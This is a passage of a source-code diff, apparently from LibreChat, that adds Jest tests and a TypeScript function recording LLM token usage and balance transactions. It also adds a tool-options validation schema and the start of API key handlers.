expect(result?.output_tokens).toBe(537); // 163 + 149 + 225 + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + }); + + describe('error handling', () => { + it('should catch bulk write errors — still returns correct result', async () => { + mockInsertMany.mockRejectedValue(new Error('DB error')); + + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { ...baseParams, collectedUsage }); + + expect(result).toEqual({ input_tokens: 100, output_tokens: 50 }); + }); + }); + + describe('transaction metadata — doc fields match what legacy would pass to spendTokens', () => { + it('should pass all metadata fields to docs', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + const endpointTokenConfig = { 'gpt-4': { prompt: 0.01, completion: 0.03, context: 8192 } }; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-123', + endpointTokenConfig, + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + for (const doc of docs) { + expect(doc.user).toBe('user-123'); + expect(doc.conversationId).toBe('convo-123'); + expect(doc.model).toBe('gpt-4'); + expect(doc.context).toBe('message'); + expect(doc.messageId).toBe('msg-123'); + } + }); + + it('should use default context "message" when not provided', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + user: 'user-123', + conversationId: 'convo-123', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs[0].context).toBe('message'); + }); + + it('should allow custom context like "title"', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + context: 'title', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs[0].context).toBe('title'); + }); + }); + + describe('messageId propagation — messageId on every doc', () => { + it('should propagate messageId to all docs', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 10, output_tokens: 5, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-1', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + for (const doc of docs) { + expect(doc.messageId).toBe('msg-1'); + } + }); + + it('should propagate messageId to structured cache docs', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'claude-3', + cache_creation_input_tokens: 25, + cache_read_input_tokens: 15, + }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-cache-1', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + for (const doc of docs) { + expect(doc.messageId).toBe('msg-cache-1'); + } + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + }); + + it('should pass undefined messageId when not provided', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 10, output_tokens: 5, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + user: 'user-123', + conversationId: 'convo-123', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + expect(docs[0].messageId).toBeUndefined(); + }); + + it('should propagate messageId across all entries in a multi-entry batch', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, + { + input_tokens: 150, + output_tokens: 30, + model: 'gpt-4', + input_token_details: { cache_creation: 10, cache_read: 5 }, + }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-multi', + collectedUsage, + }); + + const docs = mockInsertMany.mock.calls[0][0]; + for (const doc of docs) { + expect(doc.messageId).toBe('msg-multi'); + } + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + }); + }); + + describe('balance behavior parity', () => { + it('should not call updateBalance when balance is disabled — same as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + balance: { enabled: false }, + collectedUsage, + }); + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockUpdateBalance).not.toHaveBeenCalled(); + }); + + it('should not insert docs when transactions are disabled — same as legacy', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + transactions: { enabled: false }, + collectedUsage, + }); + + expect(mockInsertMany).not.toHaveBeenCalled(); + expect(mockUpdateBalance).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/packages/api/src/agents/usage.spec.ts b/packages/api/src/agents/usage.spec.ts new file mode 100644 index 0000000000..d0b065b8ff --- /dev/null +++ b/packages/api/src/agents/usage.spec.ts @@ -0,0 +1,721 @@ +import type { UsageMetadata } from '../stream/interfaces/IJobStore'; +import type { RecordUsageDeps, RecordUsageParams } from './usage'; +import type { BulkWriteDeps, PricingFns } from './transactions'; +import { recordCollectedUsage } from './usage'; + +describe('recordCollectedUsage', () => { + let mockSpendTokens: jest.Mock; + let mockSpendStructuredTokens: jest.Mock; + let deps: RecordUsageDeps; + + const baseParams: Omit = { + user: 'user-123', + conversationId: 'convo-123', + model: 'gpt-4', + context: 'message', + balance: { enabled: true }, + transactions: { enabled: true }, + }; + + beforeEach(() => { + jest.clearAllMocks(); + mockSpendTokens = jest.fn().mockResolvedValue(undefined); + mockSpendStructuredTokens = jest.fn().mockResolvedValue(undefined); + deps = { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + }; + }); + + describe('basic functionality', () => { + it('should return undefined if collectedUsage is empty', async () => { + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage: [], + }); + + expect(result).toBeUndefined(); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + }); + + it('should return undefined if collectedUsage is null-ish', async () => { + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage: null as unknown as UsageMetadata[], + }); + + expect(result).toBeUndefined(); + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + + it('should handle single usage entry correctly', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(1); + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ + user: 'user-123', + conversationId: 'convo-123', + model: 'gpt-4', + context: 'message', + }), + { promptTokens: 100, completionTokens: 50 }, + ); + expect(result).toEqual({ input_tokens: 100, output_tokens: 50 }); + }); + + it('should skip null entries in collectedUsage', async () => { + const collectedUsage = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + null, + { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, + ] as UsageMetadata[]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(2); + expect(result).toEqual({ input_tokens: 100, output_tokens: 110 }); + }); + }); + + describe('sequential execution (tool calls)', () => { + it('should calculate tokens correctly for sequential tool calls', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 150, output_tokens: 30, model: 'gpt-4' }, + { input_tokens: 180, output_tokens: 20, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(3); + expect(result?.output_tokens).toBe(100); // 50 + 30 + 20 + expect(result?.input_tokens).toBe(100); // First entry's input + }); + }); + + describe('parallel execution (multiple agents)', () => { + it('should handle parallel agents with independent input tokens', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 80, output_tokens: 40, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(2); + expect(result?.output_tokens).toBe(90); // 50 + 40 + expect(result?.output_tokens).toBeGreaterThan(0); + }); + + it('should NOT produce negative output_tokens for parallel execution', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 200, output_tokens: 100, model: 'gpt-4' }, + { input_tokens: 50, output_tokens: 30, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(result?.output_tokens).toBeGreaterThan(0); + expect(result?.output_tokens).toBe(130); // 100 + 30 + }); + + it('should calculate correct total output for multiple parallel agents', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' }, + { input_tokens: 80, output_tokens: 40, model: 'claude-3' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(3); + expect(result?.output_tokens).toBe(150); // 50 + 60 + 40 + }); + }); + + describe('cache token handling - OpenAI format', () => { + it('should use spendStructuredTokens for cache tokens (input_token_details)', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'gpt-4', + input_token_details: { + cache_creation: 20, + cache_read: 10, + }, + }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).toHaveBeenCalledWith( + expect.objectContaining({ model: 'gpt-4' }), + { + promptTokens: { input: 100, write: 20, read: 10 }, + completionTokens: 50, + }, + ); + expect(result?.input_tokens).toBe(130); // 100 + 20 + 10 + }); + }); + + describe('cache token handling - Anthropic format', () => { + it('should use spendStructuredTokens for cache tokens (cache_*_input_tokens)', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'claude-3', + cache_creation_input_tokens: 25, + cache_read_input_tokens: 15, + }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).toHaveBeenCalledWith( + expect.objectContaining({ model: 'claude-3' }), + { + promptTokens: { input: 100, write: 25, read: 15 }, + completionTokens: 50, + }, + ); + expect(result?.input_tokens).toBe(140); // 100 + 25 + 15 + }); + }); + + describe('mixed cache and non-cache entries', () => { + it('should handle mixed entries correctly', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { + input_tokens: 150, + output_tokens: 30, + model: 'gpt-4', + input_token_details: { cache_creation: 10, cache_read: 5 }, + }, + { input_tokens: 200, output_tokens: 20, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(2); + expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); + expect(result?.output_tokens).toBe(100); // 50 + 30 + 20 + }); + }); + + describe('model fallback', () => { + it('should use usage.model when available', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + model: 'fallback-model', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ model: 'gpt-4-turbo' }), + expect.any(Object), + ); + }); + + it('should fallback to param model when usage.model is missing', async () => { + const collectedUsage: UsageMetadata[] = [{ input_tokens: 100, output_tokens: 50 }]; + + await recordCollectedUsage(deps, { + ...baseParams, + model: 'param-model', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ model: 'param-model' }), + expect.any(Object), + ); + }); + }); + + describe('real-world scenarios', () => { + it('should correctly sum output tokens for sequential tool calls with growing context', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 31596, output_tokens: 151, model: 'claude-opus' }, + { input_tokens: 35368, output_tokens: 150, model: 'claude-opus' }, + { input_tokens: 58362, output_tokens: 295, model: 'claude-opus' }, + { input_tokens: 112604, output_tokens: 193, model: 'claude-opus' }, + { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(result?.input_tokens).toBe(31596); + expect(result?.output_tokens).toBe(3006); // 151 + 150 + 295 + 193 + 2217 + expect(mockSpendTokens).toHaveBeenCalledTimes(5); + }); + + it('should handle cache tokens with multiple tool calls', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 788, + output_tokens: 163, + model: 'claude-opus', + input_token_details: { cache_read: 0, cache_creation: 30808 }, + }, + { + input_tokens: 3802, + output_tokens: 149, + model: 'claude-opus', + input_token_details: { cache_read: 30808, cache_creation: 768 }, + }, + { + input_tokens: 26808, + output_tokens: 225, + model: 'claude-opus', + input_token_details: { cache_read: 31576, cache_creation: 0 }, + }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + // input_tokens = 788 + 30808 + 0 = 31596 + expect(result?.input_tokens).toBe(31596); + // output_tokens = 163 + 149 + 225 = 537 + expect(result?.output_tokens).toBe(537); + expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(3); + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + }); + + describe('error handling', () => { + it('should catch and log errors from spendTokens without throwing', async () => { + mockSpendTokens.mockRejectedValue(new Error('DB error')); + + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(result).toEqual({ input_tokens: 100, output_tokens: 50 }); + }); + + it('should catch and log errors from spendStructuredTokens without throwing', async () => { + mockSpendStructuredTokens.mockRejectedValue(new Error('DB error')); + + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'gpt-4', + input_token_details: { cache_creation: 20, cache_read: 10 }, + }, + ]; + + const result = await recordCollectedUsage(deps, { + ...baseParams, + collectedUsage, + }); + + expect(result).toEqual({ input_tokens: 130, output_tokens: 50 }); + }); + }); + + describe('transaction metadata', () => { + it('should pass all metadata fields to spend functions', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const endpointTokenConfig = { 'gpt-4': { prompt: 0.01, completion: 0.03, context: 8192 } }; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-123', + endpointTokenConfig, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + { + user: 'user-123', + conversationId: 'convo-123', + model: 'gpt-4', + context: 'message', + messageId: 'msg-123', + balance: { enabled: true }, + transactions: { enabled: true }, + endpointTokenConfig, + }, + { promptTokens: 100, completionTokens: 50 }, + ); + }); + + it('should use default context "message" when not provided', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + user: 'user-123', + conversationId: 'convo-123', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ context: 'message' }), + expect.any(Object), + ); + }); + + it('should allow custom context like "title"', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + context: 'title', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ context: 'title' }), + expect.any(Object), + ); + }); + }); + + describe('messageId propagation', () => { + it('should pass messageId to spendTokens', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 10, output_tokens: 5, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-1', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ messageId: 'msg-1' }), + expect.any(Object), + ); + }); + + it('should pass messageId to spendStructuredTokens for cache paths', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'claude-3', + cache_creation_input_tokens: 25, + cache_read_input_tokens: 15, + }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-cache-1', + collectedUsage, + }); + + expect(mockSpendStructuredTokens).toHaveBeenCalledWith( + expect.objectContaining({ messageId: 'msg-cache-1' }), + expect.any(Object), + ); + expect(mockSpendTokens).not.toHaveBeenCalled(); + }); + + it('should pass undefined messageId when not provided', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 10, output_tokens: 5, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(deps, { + user: 'user-123', + conversationId: 'convo-123', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledWith( + expect.objectContaining({ messageId: undefined }), + expect.any(Object), + ); + }); + + it('should propagate messageId across multiple usage entries', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, + { + input_tokens: 150, + output_tokens: 30, + model: 'gpt-4', + input_token_details: { cache_creation: 10, cache_read: 5 }, + }, + ]; + + await recordCollectedUsage(deps, { + ...baseParams, + messageId: 'msg-multi', + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(2); + expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); + + for (const call of mockSpendTokens.mock.calls) { + expect(call[0]).toEqual(expect.objectContaining({ messageId: 'msg-multi' })); + } + expect(mockSpendStructuredTokens.mock.calls[0][0]).toEqual( + expect.objectContaining({ messageId: 'msg-multi' }), + ); + }); + }); + + describe('bulk write path', () => { + let mockInsertMany: jest.Mock; + let mockUpdateBalance: jest.Mock; + let mockPricing: PricingFns; + let mockBulkWriteOps: BulkWriteDeps; + let bulkDeps: RecordUsageDeps; + + beforeEach(() => { + mockInsertMany = jest.fn().mockResolvedValue(undefined); + mockUpdateBalance = jest.fn().mockResolvedValue({}); + mockPricing = { + getMultiplier: jest.fn().mockReturnValue(1), + getCacheMultiplier: jest.fn().mockReturnValue(null), + }; + mockBulkWriteOps = { + insertMany: mockInsertMany, + updateBalance: mockUpdateBalance, + }; + bulkDeps = { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + pricing: mockPricing, + bulkWriteOps: mockBulkWriteOps, + }; + }); + + it('should use bulk path when pricing and bulkWriteOps are provided', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(bulkDeps, { + ...baseParams, + collectedUsage, + }); + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(result).toEqual({ input_tokens: 100, output_tokens: 50 }); + }); + + it('should batch all entries into a single insertMany call', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, + { input_tokens: 300, output_tokens: 70, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(bulkDeps, { + ...baseParams, + collectedUsage, + }); + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + const insertedDocs = mockInsertMany.mock.calls[0][0]; + expect(insertedDocs.length).toBe(6); // 2 per entry (prompt + completion) + }); + + it('should call updateBalance once when balance is enabled', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(bulkDeps, { + ...baseParams, + balance: { enabled: true }, + collectedUsage, + }); + + expect(mockUpdateBalance).toHaveBeenCalledTimes(1); + expect(mockUpdateBalance).toHaveBeenCalledWith( + expect.objectContaining({ + user: 'user-123', + incrementValue: expect.any(Number), + }), + ); + }); + + it('should not call updateBalance when balance is disabled', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(bulkDeps, { + ...baseParams, + balance: { enabled: false }, + collectedUsage, + }); + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockUpdateBalance).not.toHaveBeenCalled(); + }); + + it('should handle cache tokens via bulk path', async () => { + const collectedUsage: UsageMetadata[] = [ + { + input_tokens: 100, + output_tokens: 50, + model: 'gpt-4', + input_token_details: { cache_creation: 20, cache_read: 10 }, + }, + ]; + + const result = await recordCollectedUsage(bulkDeps, { + ...baseParams, + collectedUsage, + }); + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(result).toBeDefined(); + }); + + it('should handle mixed cache and non-cache entries in bulk', async () => { + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + { + input_tokens: 150, + output_tokens: 30, + model: 'gpt-4', + input_token_details: { cache_creation: 10, cache_read: 5 }, + }, + ]; + + const result = await recordCollectedUsage(bulkDeps, { + ...baseParams, + collectedUsage, + }); + + expect(mockInsertMany).toHaveBeenCalledTimes(1); + expect(mockSpendTokens).not.toHaveBeenCalled(); + expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(result?.output_tokens).toBe(80); + }); + + it('should fall back to legacy path when pricing is missing', async () => { + const legacyDeps: RecordUsageDeps = { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + bulkWriteOps: mockBulkWriteOps, + // no pricing + }; + + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(legacyDeps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(1); + expect(mockInsertMany).not.toHaveBeenCalled(); + }); + + it('should fall back to legacy path when bulkWriteOps is missing', async () => { + const legacyDeps: RecordUsageDeps = { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + pricing: mockPricing, + // no bulkWriteOps + }; + + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + await recordCollectedUsage(legacyDeps, { + ...baseParams, + collectedUsage, + }); + + expect(mockSpendTokens).toHaveBeenCalledTimes(1); + expect(mockInsertMany).not.toHaveBeenCalled(); + }); + + it('should handle errors in bulk write gracefully', async () => { + mockInsertMany.mockRejectedValue(new Error('DB error')); + + const collectedUsage: UsageMetadata[] = [ + { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, + ]; + + const result = await recordCollectedUsage(bulkDeps, { + ...baseParams, + collectedUsage, + }); + + expect(result).toEqual({ input_tokens: 100, output_tokens: 50 }); + }); + }); +}); diff --git a/packages/api/src/agents/usage.ts b/packages/api/src/agents/usage.ts new file mode 100644 index 0000000000..c092702730 --- /dev/null +++ b/packages/api/src/agents/usage.ts @@ -0,0 +1,186 @@ +import { logger } from '@librechat/data-schemas'; +import type { TCustomConfig, TTransactionsConfig } from 'librechat-data-provider'; +import type { + StructuredTokenUsage, + BulkWriteDeps, + PreparedEntry, + TxMetadata, + TokenUsage, + PricingFns, +} from './transactions'; +import type { UsageMetadata } from '~/stream/interfaces/IJobStore'; +import type { EndpointTokenConfig } from '~/types/tokens'; +import { + prepareStructuredTokenSpend, + bulkWriteTransactions, + prepareTokenSpend, +} from './transactions'; + +type SpendTokensFn = (txData: TxMetadata, tokenUsage: TokenUsage) => Promise; +type SpendStructuredTokensFn = ( + txData: TxMetadata, + tokenUsage: StructuredTokenUsage, +) => Promise; + +export interface RecordUsageDeps { + spendTokens: SpendTokensFn; + spendStructuredTokens: SpendStructuredTokensFn; + pricing?: PricingFns; + bulkWriteOps?: BulkWriteDeps; +} + +export interface RecordUsageParams { + user: string; + conversationId: string; + collectedUsage: UsageMetadata[]; + model?: string; + context?: string; + messageId?: string; + balance?: Partial | null; + transactions?: Partial; + endpointTokenConfig?: EndpointTokenConfig; +} + +export interface RecordUsageResult { + input_tokens: number; + output_tokens: number; +} + +/** + * Records token usage for collected LLM calls and spends tokens against balance. + * This handles both sequential execution (tool calls) and parallel execution (multiple agents). + * + * When `pricing` and `bulkWriteOps` deps are provided, prepares all transaction documents + * in-memory first, then writes them in a single `insertMany` + one `updateBalance` call. + */ +export async function recordCollectedUsage( + deps: RecordUsageDeps, + params: RecordUsageParams, +): Promise { + const { + user, + model, + balance, + messageId, + transactions, + conversationId, + collectedUsage, + endpointTokenConfig, + context = 'message', + } = params; + + if (!collectedUsage || !collectedUsage.length) { + return; + } + + const firstUsage = collectedUsage[0]; + const input_tokens = + (firstUsage?.input_tokens || 0) + + (Number(firstUsage?.input_token_details?.cache_creation) || + Number(firstUsage?.cache_creation_input_tokens) || + 0) + + (Number(firstUsage?.input_token_details?.cache_read) || + Number(firstUsage?.cache_read_input_tokens) || + 0); + + let total_output_tokens = 0; + + const { pricing, bulkWriteOps } = deps; + const useBulk = pricing && bulkWriteOps; + + const allDocs: PreparedEntry[] = []; + + for (const usage of collectedUsage) { + if (!usage) { + continue; + } + + const cache_creation = + Number(usage.input_token_details?.cache_creation) || + Number(usage.cache_creation_input_tokens) || + 0; + const cache_read = + Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0; + + total_output_tokens += Number(usage.output_tokens) || 0; + + const txMetadata: TxMetadata = { + user, + context, + balance, + messageId, + transactions, + conversationId, + endpointTokenConfig, + model: usage.model ?? model, + }; + + if (useBulk) { + const entries = + cache_creation > 0 || cache_read > 0 + ? prepareStructuredTokenSpend( + txMetadata, + { + promptTokens: { + input: usage.input_tokens, + write: cache_creation, + read: cache_read, + }, + completionTokens: usage.output_tokens, + }, + pricing, + ) + : prepareTokenSpend( + txMetadata, + { + promptTokens: usage.input_tokens, + completionTokens: usage.output_tokens, + }, + pricing, + ); + allDocs.push(...entries); + continue; + } + + if (cache_creation > 0 || cache_read > 0) { + deps + .spendStructuredTokens(txMetadata, { + promptTokens: { + input: usage.input_tokens, + write: cache_creation, + read: cache_read, + }, + completionTokens: usage.output_tokens, + }) + .catch((err) => { + logger.error( + '[packages/api #recordCollectedUsage] Error spending structured tokens', + err, + ); + }); + continue; + } + + deps + .spendTokens(txMetadata, { + promptTokens: usage.input_tokens, + completionTokens: usage.output_tokens, + }) + .catch((err) => { + logger.error('[packages/api #recordCollectedUsage] Error spending tokens', err); + }); + } + + if (useBulk && allDocs.length > 0) { + try { + await bulkWriteTransactions({ user, docs: allDocs }, bulkWriteOps); + } catch (err) { + logger.error('[packages/api #recordCollectedUsage] Error in bulk write', err); + } + } + + return { + input_tokens, + output_tokens: total_output_tokens, + }; +} diff --git a/packages/api/src/agents/validation.ts b/packages/api/src/agents/validation.ts index 4798ffeb80..d427b3639e 100644 --- a/packages/api/src/agents/validation.ts +++ b/packages/api/src/agents/validation.ts @@ -51,6 +51,15 @@ export const graphEdgeSchema = z.object({ promptKey: z.string().optional(), }); +/** Per-tool options schema (defer_loading, allowed_callers) */ +export const toolOptionsSchema = z.object({ + defer_loading: z.boolean().optional(), + allowed_callers: z.array(z.enum(['direct', 'code_execution'])).optional(), +}); + +/** Agent tool options - map of tool_id to tool options */ +export const agentToolOptionsSchema = z.record(z.string(), toolOptionsSchema).optional(); + /** Base agent schema with all common fields */ export const agentBaseSchema = z.object({ name: z.string().nullable().optional(), @@ -68,6 +77,7 @@ export const agentBaseSchema = z.object({ recursion_limit: z.number().optional(), conversation_starters: z.array(z.string()).optional(), tool_resources: agentToolResourcesSchema, + tool_options: agentToolOptionsSchema, support_contact: agentSupportContactSchema, category: z.string().optional(), }); diff --git a/packages/api/src/apiKeys/handlers.ts b/packages/api/src/apiKeys/handlers.ts new file mode 100644 index 0000000000..61d23ccde9 --- /dev/null +++ b/packages/api/src/apiKeys/handlers.ts @@ -0,0 +1,129 @@ +import type { Request, Response } from 'express'; +import type { Types } from 'mongoose'; +import { logger } from '@librechat/data-schemas'; + +export interface ApiKeyHandlerDependencies { + createAgentApiKey: (params: { + userId: string | Types.ObjectId; + name: string; + expiresAt?: Date | null; + }) => Promise<{ + id: string; + name: string; + key: string; + keyPrefix: string; + createdAt: Date; + expiresAt?: Date; + }>; + listAgentApiKeys: (userId: string | Types.ObjectId) => Promise< + Array<{ + id: string; + name: string; + keyPrefix: string; + lastUsedAt?: Date; + expiresAt?: Date; + createdAt: Date; + }> + >; + deleteAgentApiKey: ( + keyId: string | Types.ObjectId, + userId: string | Types.ObjectId, + ) => Promise; + getAgentApiKeyById: ( + keyId: string | Types.ObjectId, + userId: string | Types.ObjectId, + ) => Promise<{ + id: string; + name: string; + keyPrefix: string; + lastUsedAt?: Date; + expiresAt?: Date; + createdAt: Date; + } | null>; +} + +interface AuthenticatedRequest extends Request { + user?: { + id: string; + _id: Types.ObjectId; + }; +} + +export function createApiKeyHandlers(deps: ApiKeyHandlerDependencies) { + async function 